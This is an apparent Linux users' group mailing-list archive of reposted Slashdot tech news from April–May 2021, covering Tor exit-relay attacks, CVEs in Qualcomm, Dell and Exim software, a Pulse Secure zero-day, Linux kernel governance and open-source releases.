'For more than 16 months, a threat actor has been seen adding malicious servers to the Tor network in order to intercept traffic and perform SSL stripping attacks on users accessing cryptocurrency-related sites. From a report: The attacks, which began in January 2020, consisted of adding servers to the Tor network and marking them as "exit relays," which are the servers through which traffic leaves the Tor network to re-enter the public internet after being anonymized. But since January 2020, a threat actor has been inserting thousands of malicious servers into the Tor network to identify traffic heading to cryptocurrency mixing websites and perform an SSL stripping attack, which is when traffic is downgraded from an encrypted HTTPS connection to plaintext HTTP. The belief is that the attacker has been downgrading traffic to HTTP in order to replace cryptocurrency addresses with their own and hijack transactions for their own profit. The attacks are not new and were first documented and exposed last year, in August, by a security researcher and Tor node operator known as Nusenu. At the time, the researcher said the attacker managed to flood the Tor network with malicious Tor exit relays on three occasions, peaking their attack infrastructure at around 23% of the entire Tor network's exit capacity before being shut down by the Tor team on every occasion.' -- source: https://it.slashdot.org/story/21/05/10/1838213 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux Foundation Launches Open Source Agriculture Infrastructure Project
by Peter Reutemann 10 May '21

10 May '21

'"The Linux Foundation has lifted the lid on a new open source digital infrastructure project aimed at the agriculture industry," reports VentureBeat: The AgStack Foundation, as the new project will be known, is designed to foster collaboration among all key stakeholders in the global agriculture space, spanning private business, governments, and academia. As with just about every other industry in recent years, there has been a growing digital transformation across the agriculture sector that has ushered in new connected devices for farmers and myriad AI and automated tools to optimize crop growth and circumvent critical obstacles, such as labor shortages. Open source technologies bring the added benefit of data and tools that any party can reuse for free, lowering the barrier to entry and helping keep companies from getting locked into proprietary software operated by a handful of big players... The AgStack Foundation will be focused on supporting the creation and maintenance of free and sector-specific digital infrastructure for both applications and the associated data. It will lean on existing technologies and agricultural standards; public data and models; and other open source projects, such as Kubernetes, Hyperledger, Open Horizon, Postgres, and Django, according to a statement. "Current practices in AgTech are involved in building proprietary infrastructure and point-to-point connectivity in order to derive value from applications," AgStack executive director Sumer Johal told VentureBeat. "This is an unnecessarily costly use of human capital. Like an operating system, we aspire to reduce the time and effort required by companies to produce their own proprietary applications and for content consumers to consume this interoperably." ' -- source: https://linux.slashdot.org/story/21/05/09/0337240 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

An Estimated 30% of All Smartphones Vulnerable To New Qualcomm Bug
by Peter Reutemann 07 May '21

07 May '21

'Around a third of all smartphones in the world are believed to be affected by a new vulnerability in a Qualcomm modem component that can grant attackers access to the device's call and SMS history and even audio conversations. From a report: The vulnerability -- tracked as CVE-2020-11292 -- resides in the Qualcomm mobile station modem (MSM), a chip that allows devices to connect to mobile networks. First designed in the early 90s, the chip has been updated across the years to support 2G, 3G, 4G, and 5G cellular communications and has slowly become one of the world's most ubiquitous technologies, especially with smartphone vendors. Devices that use Qualcomm MSM chips today include high-end smartphone models sold by Google, Samsung, LG, Xiaomi, and OnePlus, just to name a few. But in a report published today by Israeli security firm Check Point, the company said its researchers found a vulnerability in Qualcomm MSM Interface (QMI), the protocol that allows the chip to communicate with the smartphone's operating system. Researches said that malformed Type-Length-Value (TLV) packets received by the MSM component via the QMI interface could trigger a memory corruption (buffer overflow) that can allow attackers to run their own code.' -- source: https://tech.slashdot.org/story/21/05/06/1253235 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google Will Automatically Enroll Users in Two-Factor Authentication Soon
by Peter Reutemann 07 May '21

07 May '21

'Most security experts agree that two-factor authentication (2FA) is a critical part of securing your online accounts. Google agrees, but it's taking an extra step: It's going to automatically sign Google account holders up for two-factor accounts. From a report: In a way, Google sees two-factor authentication as a replacement for passwords, which Mark Risher, Google's director of product management for identity and user security, in a statement called "the single biggest threat to your online security." Because they're easy to steal and hard to remember, users will end up reusing passwords. If stolen, they can be used to unlock multiple user accounts, adding to the risk. Google already uses 2FA to secure accounts, but it's been optional until now. According to Risher, Google will start "automatically enrolling users in 2SV [what Google calls 2FA] if their accounts are appropriately configured." However, Google said that users would be given an opportunity to opt out, too.' -- source: https://tech.slashdot.org/story/21/05/06/162237 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Signal Tried To Use Instagram Ads To Display the Data Facebook Collects and Sells. Facebook Banned Signal's Account.
by Peter Reutemann 06 May '21

06 May '21

'Privacy-oriented messaging app Signal tried to run a very candid ad campaign on Facebook-owned Instagram, but it wasn't meant to be. From a report: Signal explained how it went down in a blog post Tuesday. The idea was to post ads on Instagram which use the data an online advertiser may have collected about users, and basically show the user what that data might be for them. "You got this ad because you're a teacher, but more importantly you're a Leo (and single). This ad used your location to see you're in Moscow. You like to support sketch comedy, and this ad thinks you do drag," one of the ads said. According to Signal, the ad "would simply display some of the information collected about the viewer which the advertising platform uses." The fact that Facebook and similar companies collect your data isn't a secret. According to Signal, however "the full picture is hazy to most -- dimly concealed within complex, opaquely-rendered systems and fine print designed to be scrolled past." In other words, you may have consented to this because you weren't bothered to investigate the details, but you may feel differently if you knew exactly what online advertisers know about you. However, Facebook wasn't having it, and shut down both the campaign and Signal's ad account. ' -- source: https://tech.slashdot.org/story/21/05/05/191244 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Dell Patches 12-year-old Driver Vulnerability Impacting Millions of PCs
by Peter Reutemann 05 May '21

05 May '21

'Hundreds of millions of Dell desktops, laptops, notebooks, and tablets will need to update their Dell DBUtil driver to fix a 12-year-old vulnerability that exposes systems to attacks. From a report: The bug, tracked as CVE-2021-21551, impacts version 2.3 of DBUtil, a Dell BIOS driver that allows the OS and system apps to interact with the computer's BIOS and hardware. In a report published today and shared with The Record, security firm SentinelOne said it found a vulnerability in this driver that could be abused to allow threat actors access driver functions and execute malicious code with SYSTEM and kernel-level privileges. Researchers said the DBUtil vulnerability cannot be exploited over the internet to gain access to unpatched systems remotely. Instead, threat actors who gained initial access to a computer, even to a low-level account, could abuse this bug to take full control over the compromised PC -- in what the security community typically describes as a privilege escalation vulnerability.' -- source: https://it.slashdot.org/story/21/05/04/1647244 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

21Nails Vulnerabilities Impact 60% of the Internet's Email Servers
by Peter Reutemann 05 May '21

05 May '21

'The maintainers of the Exim email server software have released updates today to patch a collection of 21 vulnerabilities that can allow threat actors to take over servers using both local and remote attack vectors. The Record reports: Known as 21Nails, the vulnerabilities were discovered by security firm Qualys. The bugs impact Exim, a type of email server known as a mail transfer agent (MTA) that helps email traffic travel across the internet and reach its intended destinations. While there are different MTA clients available, an April 2021 survey shows that Exim has a market share of nearly 60% among all MTA solutions, being widely adopted around the internet. The 21Nails vulnerabilities, if left unpatched, could allow threat actors to take over these systems and then intercept or tamper with email communications passing through the Exim server. As Qualys explains in its security advisory, the 21Nails vulnerabilities are as bad as it gets. All Exim server versions released in the past 17 years, since 2004, the beginning of the project's Git history, are affected by the 21Nails bugs. This includes 11 vulnerabilities that require local access to the server to exploit, but also 10 bugs that can be exploited remotely across the internet. Security experts recommend that Exim server owners update to Exim version 4.94 to protect their systems against attacks. ' -- source: https://it.slashdot.org/story/21/05/04/2032243 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Audacity Purchased By Muse Group
by Lawrence D'Oliveiro 05 May '21

05 May '21

The popular open-source audio editor Audacity has been acquired by a newly-formed music/audio company called Muse Group <https://www.theregister.com/2021/05/04/audacity_muse_group/>. The same company also owns open-source music-notation software MuseScore, but as far as I know they have nothing to do with MusE, the open-source music/audio sequencing software.

1 0

Why is F34 the Most Popular Fedora Linux in Years?
by Peter Reutemann 04 May '21

04 May '21

'This week ZDNet dedicated an article to "the most popular Fedora Linux in years." Red Hat's community Linux distribution Fedora has always been popular with open-source and Linux developers, but this latest release, Fedora 34 seems to be something special. As Matthew Miller, Fedora Project Leader, tweeted, "The beta for F34 was one of the most popular ever, with twice as many systems showing up in my stats as typical." Why? Nick Gerace, a Rancher software engineer, thinks it's because "I've never seen the project in a better state, and I think GNOME 40 is a large motivator as well. Probably a combination of each, from anecdotal evidence." He's onto something. When Canonical released Ubuntu 21.04 a few days earlier, their developers opted to stay with the tried and true GNOME 39 desktop. Fedora's people decided to go with GNOME 40 for their default desktop even though it's a radical update to the GNOME interface. Besides boasting a new look, GNOME 40 is based on the new GTK 4.0 graphical toolkit. Under the pretty new exterior, this update also fixed numerous issues and smoothed out many rough spots. If you'd rather have another desktop, you can also get Fedora 34 with the newest KDE Plasma Desktop, Xfce 4.16, Cinnamon, etc. You name your favorite Linux desktop interface, Fedora will almost certainly deliver it to you... Another feature I like is that, since Fedora 33, the default file system is Btrfs. I find it faster and more responsive than ext4, perhaps the most popular Linux desktop file system. What's different this time around is that it now defaults to using Btrfs transparent compression. Besides saving significant storage space — typically from 20 to 40% — Red Hat also claims this increases the lifespan of SSDs and other flash media. Although the article does point out that most users will never reach the end of that SSD lifespan (approximately ten years of normal use), it suggests that "developers, who might for example compile Linux kernels every day, might reach that point before a PC's usual end of useful life." In a possibly related note, Linus Torvalds said this week in a new interview that "I use Fedora on all my machines, not because it's necessarily 'preferred', but because it's what I'm used to. I don't care deeply about the distribution — to me it's mainly a way to get Linux installed on a machine and get all my tools set up, so that I can then replace the kernel and work on just that."' -- source: https://linux.slashdot.org/story/21/05/03/0025246 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Greg Kroah-Hartman Rejects Apology from University of Minnesota Researchers
by Peter Reutemann 26 Apr '21

26 Apr '21

'Saturday University of Minnesota researchers emailed the Linux kernel mailing list apologizing for submitting buggy code as part of a research project to see whether it would be accepted. Late Saturday night, the kernel team's Greg Kroah-Hartman replied: Thank you for your response. As you know, the Linux Foundation and the Linux Foundation's Technical Advisory Board submitted a letter on Friday to your University outlining the specific actions which need to happen in order for your group, and your University, to be able to work to regain the trust of the Linux kernel community. Until those actions are taken, we do not have anything further to discuss about this issue. thanks' -- source: https://linux.slashdot.org/story/21/04/25/216257 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Security Researcher Dan Kaminsky Has Died
by Peter Reutemann 25 Apr '21

25 Apr '21

'Security researcher Marc Rogers (also a BBC contributor) tweeted this morning "I guess theres no hiding it now. We lost Dan Kaminsky yesterday. One of the brightest lights in infosec and probably the kindest soul I knew. The vacuum he leaves behind is impossible to measure. Please keep speculation to yourself and be respectful of his family and friends." In later tweets, Rogers says he was proud that Kaminsky was his friend, adding "I could literally wrote a book of Dan Kaminsky tales. >From shenanigans at events all over the world, to parties and just crazy stuff that happened at the spur of a moment. But most about his crazy brilliant kind generous ideas and offers of help and support. He was one of a kind." Even the stories in Kaminsky's Wikipedia entry are impressive: He is known among computer security experts for his work on DNS cache poisoning, and for showing that the Sony Rootkit had infected at least 568,200 computers and for his talks at the Black Hat Briefings. In June 2010, Kaminsky released Interpolique, a beta framework for addressing injection attacks such as SQL injection and cross-site scripting in a manner comfortable to developers. On June 16, 2010, he was named by ICANN as one of the Trusted Community Representatives for the DNSSEC root. "Dan was a force of nature," adds Marc Rogers on Twitter. "A hacker who saw not just 1 or 2 moves ahead but so many you sometimes wondered if he was playing the same game: I asked him for a demo. He brought a record turntable he used to move a VM forwards & backwards in time like a DJ scratching." ' -- source: https://it.slashdot.org/story/21/04/24/1645214 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

University of Minnesota Researchers Send Apology to Linux Kernel Mailing List
by Peter Reutemann 25 Apr '21

25 Apr '21

'Earlier this week Greg Kroah-Hartman of the Linux kernel development team banned the University of Minnesota from contributing after researchers there submitted what he called "obviously-incorrect patches" believed to be part of a research project into whether buggy code would be accepted. Today the professor in charge of that project, as well as two of its researchers, sent an email to the Linux kernel mailing list saying they "sincerely apologize for any harm our research group did to the Linux kernel community." Our goal was to identify issues with the patching process and ways to address them, and we are very sorry that the method used in the "hypocrite commits" paper was inappropriate. As many observers have pointed out to us, we made a mistake by not finding a way to consult with the community and obtain permission before running this study; we did that because we knew we could not ask the maintainers of Linux for permission, or they would be on the lookout for the hypocrite patches. While our goal was to improve the security of Linux, we now understand that it was hurtful to the community to make it a subject of our research, and to waste its effort reviewing these patches without its knowledge or permission. We just want you to know that we would never intentionally hurt the Linux kernel community and never introduce security vulnerabilities. Our work was conducted with the best of intentions and is all about finding and fixing security vulnerabilities... We are a research group whose members devote their careers to improving the Linux kernel. We have been working on finding and patching vulnerabilities in Linux for the past five years... This current incident has caused a great deal of anger in the Linux community toward us, the research group, and the University of Minnesota. We apologize unconditionally for what we now recognize was a breach of the shared trust in the open source community and seek forgiveness for our missteps. We seek to rebuild the relationship with the Linux Foundation and the Linux community from a place of humility to create a foundation from which, we hope, we can once again contribute to our shared goal of improving the quality and security of Linux software... We are committed to following best practices for collaborative research by consulting with community leaders and members about the nature of our research projects, and ensuring that our work meets not only the requirements of the Institutional Review Board but also the expectations that the community has articulated to us in the wake of this incident. While this issue has been painful for us as well, and we are genuinely sorry for the extra work that the Linux kernel community has undertaken, we have learned some important lessons about research with the open source community from this incident. We can and will do better, and we believe we have much to contribute in the future, and will work hard to regain your trust. Their email also says their work did not introduce vulnerabilities into the Linux code. ("The three incorrect patches were discussed and stopped during exchanges in a Linux message board, and never committed to the code.") And the email also clarifies that their research was only done in August of 2020, and "All the other 190 patches being reverted and re-evaluated were submitted as part of other projects and as a service to the community; they are not related to the 'hypocrite commits' paper. These 190 patches were in response to real bugs in the code and all correct — as far as we can discern — when we submitted them... Our recent patches in April 2021 are not part of the 'hypocrite commits' paper either."' -- source: https://linux.slashdot.org/story/21/04/25/0243259 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Latest Windows Preview Build Adds Support For Linux GUI Apps
by Peter Reutemann 23 Apr '21

23 Apr '21

'While users have long been able to run Linux GUI apps on Windows by installing a separate X Server, this marks the first time that native support is available through the Windows Subsystem for Linux (WSL). Audio support and hardware acceleration are also provided, seemingly enabling a limitless set of use cases for those wishing to live the dual OS life. The change is identified in the recent preview build release along with a more in-depth discussion of the graphical subsystem now called WSLg.' -- source: https://linux.slashdot.org/story/21/04/22/1821237 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

A New Facebook Bug Exposes Millions of Email Addresses
by Peter Reutemann 23 Apr '21

23 Apr '21

'Still smarting from last month's dump of phone numbers belonging to 500 million Facebook users, the social media giant has a new privacy crisis to contend with: a tool that, on a massive scale, links Facebook accounts with their associated email addresses, even when users choose settings to keep them from being public. Wired reports: A video circulating on Tuesday showed a researcher demonstrating a tool named Facebook Email Search v1.0, which he said could link Facebook accounts to as many as 5 million email addresses per day. The researcher -- who said he went public after Facebook said it didn't think the weakness he found was "important" enough to be fixed -- fed the tool a list of 65,000 email addresses and watched what happened next. "As you can see from the output log here, I'm getting a significant amount of results from them," the researcher said as the video showed the tool crunching the address list. "I've spent maybe $10 to buy 200-odd Facebook accounts. And within three minutes, I have managed to do this for 6,000 [email] accounts." The researcher [...] said that Facebook Email Search exploited a front-end vulnerability that he reported to Facebook recently but that "they [Facebook] do not consider to be important enough to be patched." Earlier this year, Facebook had a similar vulnerability that was ultimately fixed. "This is essentially the exact same vulnerability," the researcher says. "And for some reason, despite me demonstrating this to Facebook and making them aware of it, they have told me directly that they will not be taking action against it." In a statement, Facebook said: "It appears that we erroneously closed out this bug bounty report before routing to the appropriate team. We appreciate the researcher sharing the information and are taking initial actions to mitigate this issue while we follow up to better understand their findings." A Facebook representative didn't respond to a question asking if the company told the researcher it didn't consider the vulnerability important enough to warrant a fix. The representative said Facebook engineers believe they have mitigated the leak by disabling the technique shown in the video.' -- source: https://tech.slashdot.org/story/21/04/22/2035245 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

'Mozilla Is Hellbent On Making Their New Firefox UI Unusable'
by Peter Reutemann 23 Apr '21

23 Apr '21

'Artem S. Tashkinov writes: Over the past ten years, Firefox market share has decreased substantially and the web browser has lost its appeal and coolness. Seeing that, someone at Mozilla probably decided that the best way to entice people back is by changing its UI, thus Firefox has already seen quite a huge number of changes despite other major web browsers staying relatively the same in terms of their visuals; i.e. Google Chrome and Apple Safari look almost the same as they did a decade ago. The most substantial redesign, which is being prepared for the next release, called Proton, promises to drive most power users away because it's broken on a number of levels and makes using the browser a very unpleasant experience. So, what has changed: - The compact density option for the address bar is now gone, and not only that, the title bar is now a lot taller than before. Overall, vertically, the title bar and address bar now take almost a dozen pixels more than previous Firefox releases, which steals very precious vertical space. - The floating tabs. The active tab is now totally disconnected from the active web page and it looks out of place. - The inactive tabs now completely lack a delimiter between them; and in the case of websites lacking a favicon, all inactive tabs look like one, which makes understanding what's open and what to click very difficult and time consuming. - Mozilla has removed icons from menus, which makes navigating them slower and more difficult. Human beings can easily recognize and memorize icons, and now instead you have to read 20 menu items and try to understand what you actually need to click. Just to illustrate it, check how Firefox 88 looks and what is up and coming. It surely looks like whatever UX studies Mozilla has done were either not run properly, or the data being collected was not properly understood. Mozilla has disabled feedback for Firefox, they've made it abundantly clear that you cannot leave comments in their Bugzilla, and considering they want to deprecate userChrome.css, it makes it impossible to restore the semblance of a good web browser experience. The Slashdot crowd loves free and open-source web browsers, so the question is, how can we make the company stop maiming and destroying their most important product?' -- source: https://news.slashdot.org/story/21/04/22/2021218 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

YouTube Is Now Building Its Own Video-Transcoding Chips
by Lawrence D'Oliveiro 23 Apr '21

23 Apr '21

YouTube makes videos available in a bewildering range of formats and codecs, from the cutting-edge to some old “legacy” formats that are still in common use. As new codecs become popular, it goes back and re-encodes existing videos to reduce its own bandwidth costs--this on top of the transcoding required for every new upload. It has decided that this never-ending transcoding burden now requires special-purpose hardware, and has published a paper on the subject. <https://arstechnica.com/gadgets/2021/04/youtube-is-now-building-its-own-vid…>

1 0

Hackers Are Exploiting a Pulse Secure 0-Day To Breach Orgs Around the World
by Peter Reutemann 21 Apr '21

21 Apr '21

'Ars Technica: Hackers backed by nation-states are exploiting critical vulnerabilities in the Pulse Secure VPN to bypass two-factor authentication protections and gain stealthy access to networks belonging to a raft of organizations in the US Defense industry and elsewhere, researchers said. At least one of the security flaws is a zero-day, meaning it was unknown to Pulse Secure developers and most of the research world when hackers began actively exploiting it, security firm Mandiant said in a blog post published Tuesday. Besides CVE-2021-22893, as the zero-day is tracked, multiple hacking groups -- at least one of which likely works on behalf of the Chinese government -- are also exploiting several Pulse Secure vulnerabilities fixed in 2019 and 2020. Used alone or in concert, the security flaws allow the hackers to bypass both single-factor and multifactor authentication protecting the VPN devices. From there, the hackers can install malware that persists across software upgrades and maintain access through webshells, which are browser-based interfaces that allow hackers to remotely control infected devices. Multiple intrusions over the past six months have hit defense, government, and financial organizations around the world, Tuesday's post reported. Separately, the US Cybersecurity and Infrastructure Security Agency said that targets also include US government agencies, critical infrastructure entities, and other private sector organizations." Mandiant said that it has uncovered "limited evidence" that tied one of the hacker groups to the Chinese government. Dubbed UNC2630, this previously unknown team is one of at least two hacking groups known to be actively exploiting the vulnerabilities. Tuesday's blog post also referred to another previously unseen group that Mandiant is calling UNC2717. In March, the group used malware Mandiant identifies as RADIALPULSE, PULSEJUMP, and HARDPULSE against Pulse Secure systems at a European organization. Pulse Secure on Tuesday published an advisory instructing users how to mitigate the currently unpatched security bug.' -- source: https://it.slashdot.org/story/21/04/20/2056201 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

The State Of Microsoft Visual Studio
by Lawrence D'Oliveiro 21 Apr '21

21 Apr '21

Following on from the recent and surprising (to me) news that Microsoft Visual Studio is only just about to become a 64-bit application, this analysis <https://www.theregister.com/2021/04/20/what_next_for_visual_studio/> sums up the increasing difficulty of continuing to develop Microsoft’s flagship IDE, as the market continues to move away from a Windows-centric one: Modern development is dominated by web and mobile clients and Windows is increasingly isolated as the only common platform that is not Unix-like. This can cause friction with things like line endings, filemode settings, Bash scripts ... Basically, traditional (now “legacy”) Windows-centric technologies are being inexorably left behind as Microsoft rushes to embrace the latest trends. Two examples mentioned in the article are Azure DevOps (the current incarnation of Team Foundation Server, the old corporate-level, inflexible and unfriendly version-control system that Microsoft was pushing before Git became popular) and Visual Studio Tools For Office, the framework for developing third-party addons to Microsoft Office, now being left behind in favour of web-based technologies: "My company relies on VSTO to deliver our product, and while I understand that OfficeJS is the future, we need to be able to maintain our current product for the next several years while an OfficeJS-based successor is developed. Additionally, VSTO offers capabilities that OfficeJS simply does not... I would also note that VSTO has received essentially no updates since 2010," said developer Eric Smith. This is what happens when you hitch your wagon to a proprietary star: even a big, powerful and important star can still leave you in the lurch.

1 0

Openwall Releases 'Linux Kernel Runtime Guard' 0.9.0
by Peter Reutemann 19 Apr '21

19 Apr '21

'Long-time Slashdot reader xiando shares news from LinuxReviews: Linux Kernel Runtime Guard (LKRG) is a security module for the Linux kernel developed by Openwall. The latest release adds compatibility with Linux kernels up to soon to be released 5.12, support for building LKRG into kernel images, support for old 32-bit x86 machines and more... The Linux Kernel Runtime Guard is an out-of-tree kernel module you can install as a kernel module, or, with the 0.9.0 release, build into your Linux kernel. It does run-time integrity checks to detect security vulnerability exploits against the Linux kernel. An Openwall developer also notes in the announcement that "During LKRG development and testing I've found 7 Linux kernel bugs, 4 of them have CVE numbers."' -- source: https://news.slashdot.org/story/21/04/17/2118236 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Debian Votes to Issue No Statement on Stallman's Return to the FSF Board
by Peter Reutemann 19 Apr '21

19 Apr '21

'Debian Project Secretary Kurt Roeckx has announced the results of a closely-watched vote on what statement would be made about Richard Stallman's readmission to the Free Software Foundation's board. Seven options were considered, with the Debian project's 420 voting developers also asked to rank their preferred outcomes: - Option 1: "Call for the FSF board removal, as in rms-open-letter.github.io" - Option 2: "Call for Stallman's resignation from all FSF bodies" - Option 3: "Discourage collaboration with the FSF while Stallman is in a leading position" - Option 4: "Call on the FSF to further its governance processes" - Option 5: "Support Stallman's reinstatement, as in rms-support-letter.github.io" - Option 6: "Denounce the witch-hunt against RMS and the FSF" - Option 7: "Debian will not issue a public statement on this issue" While all seven options achieved a quorum of votes, two failed to achieve a majority — options 5 and 6. ("Support Stallman's reinstatement" and "Denounce the witch-hunt...") The option receiving the most votes was #7 (not issuing a public statement) — but it wasn't that simple. The vote's final outcome was determined by comparing every possible pair of options to determine which option would still be preferred by a majority of voters in each possible comparision. In this case, that winner was still the option which had also received the most votes: Debian will not issue a public statement on this issue. The Debian Project will not issue a public statement on whether Richard Stallman should be removed from leadership positions or not. Any individual (including Debian members) wishing to (co-)sign any of the open letters on this subject is invited to do this in a personal capacity. The results are captured in an elaborate graph. Numbers inside the ovals show the final ratio of yes to no votes (so a number higher than 1.00 indicates a majority, with much higher numbers indicating much larger majorities). Numbers outside the ovals (along the lines) indicate the number of voters who'd preferred the winning choice over the losing choice (toward which the arrow is pointing). The winning option is highlighted in blue.' -- source: https://linux.slashdot.org/story/21/04/18/1727209 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linus Torvalds Says Rust Closer for Linux Kernel Development, Calls C++ 'A Crap Language'
by Peter Reutemann 18 Apr '21

18 Apr '21

'Google's Android team supports Rust for developing the Android operating system. Now they're also helping evaluate Rust for Linux kernel development. Their hopes, among other things, are that "New code written in Rust has a reduced risk of memory safety bugs, data races and logic bugs overall," that "abstractions that are easier to reason about," and "More people get involved overall in developing the kernel, thanks to the usage of a modern language." Linus Torvalds responded in a new interview with IT Wire (shared by Slashdot reader juul_advocate): The first patches for Rust support in the Linux kernel have been posted and the man behind the kernel says the fact that these are being discussed is much more important than a long post by Google about the language. Linus Torvalds told iTWire in response to queries that Rust support was "not there yet", adding that things were "getting to the point where maybe it might be mergeable for 5.14 or something like that..." Torvalds said that it was still early days for Rust support, "but at least it's in a 'this kind of works, there's an example, we can build on it'." Asked about a suggestion by a commenter on the Linux Weekly News website, who said, during a discussion on the Google post, "The solution here is simple: just use C++ instead of Rust", Torvalds could not restrain himself from chortling. "LOL," was his response. "C++ solves _none_ of the C issues, and only makes things worse. It really is a crap language. "For people who don't like C, go to a language that actually offers you something worthwhile. Like languages with memory safety and [which] can avoid some of the dangers of C, or languages that have internal GC [garbage collection] support and make memory management easier. C++ solves all the wrong problems, and anybody who says 'rewrite the kernel in C++' is too ignorant to even know that." He said that when one spoke of the dangers of C, one was also speaking about part of what made C so powerful, "and allows you to implement all those low-level things efficiently". Torvalds added that, while garbage collection is "a very good thing in most other situations," it's "generally not necessarily something you can do in a low-level system programming."' -- source: https://developers.slashdot.org/story/21/04/17/009241 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Happy 50th Birthday FTP
by Peter Reutemann 18 Apr '21

18 Apr '21

'FTP (file transfer protocol) celebrated its 50th anniversary this week. Long-time Slashdot reader sandbagger shares an article commemorating a half-century of FTP: Over the years, the FTP protocol got refined with 16 different revisions(*1) adding support with TCP/IP, a secure extension also known as FTPS which is leveraging the same tech as HTTPS and more recent addition like IPv6 support. Fifty years after its inception, FTP is still going very strong with millions of FTP server still being exposed on the internet which is fairly amazing considering the bad press it gets... ' -- source: https://tech.slashdot.org/story/21/04/17/2143200 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Slackware Approaches 28th Birthday With New Beta Release
by Peter Reutemann 18 Apr '21

18 Apr '21

'Slashdot reader LeeLynx shares news from The Register about a Slackware 15 beta release (following the debut of February's alpha), "nearly five years after the distribution last saw a major update." (And nearly 28 years after its initial release back in 1993...) Created by Patrick Volkerding (who still lays claim to the title Benevolent Dictator For Life), the current release version arrived in the form of 2016's 14.2... The Linux kernel has been updated to 5.10.30 (at time of writing) with 5.11.14 available for testing. Desktop fans may be pleased to see, among the many updates, KDE Plasma hitting 5.21.4 as well as updates for old faithfuls, such as Mozilla Firefox and Thunderbird. The beta itself dropped on 12 April (with the 5.10.29 kernel) and Volkerding noted: "I'm going to go ahead and call this a beta even though there's still no fix for the illegal instruction issue with 32-bit mariadb. But there should be soon." Tinkering has continued since, judging by the change log, although the beta tag brings hope there will be a release before long.' -- source: https://linux.slashdot.org/story/21/04/18/007214 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

China and Huawei's Dystopian 'New IP' Plan for 6G
by Peter Reutemann 18 Apr '21

18 Apr '21

'Just Security: Huawei's plans for 6G and beyond make U.S. concerns over 5G look paltry: Huawei is proposing a fundamental internet redesign, which it calls "New IP," designed to build "intrinsic security" into the web. Intrinsic security means that individuals must register to use the internet, and authorities can shut off an individual user's internet access at any time. In short, Huawei is looking to integrate China's "social credit," surveillance, and censorship regimes into the internet's architecture... To avoid scrutiny of New IP's shortcomings, Huawei has circumvented international standards bodies where experts might challenge the technical shortcomings of the proposal. Instead, Huawei has worked through the United Nations' International Telecommunications Union (ITU), where Beijing holds more political sway... Huawei dominance on New IP and 6G would not only create a less free, less interoperable internet, it would pave the way for authoritarian governments to gain expanded say over future changes to the internet for years to come.' -- source: https://tech.slashdot.org/story/21/04/17/2041239 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

meeting next Monday
by Peter Reutemann 16 Apr '21

16 Apr '21

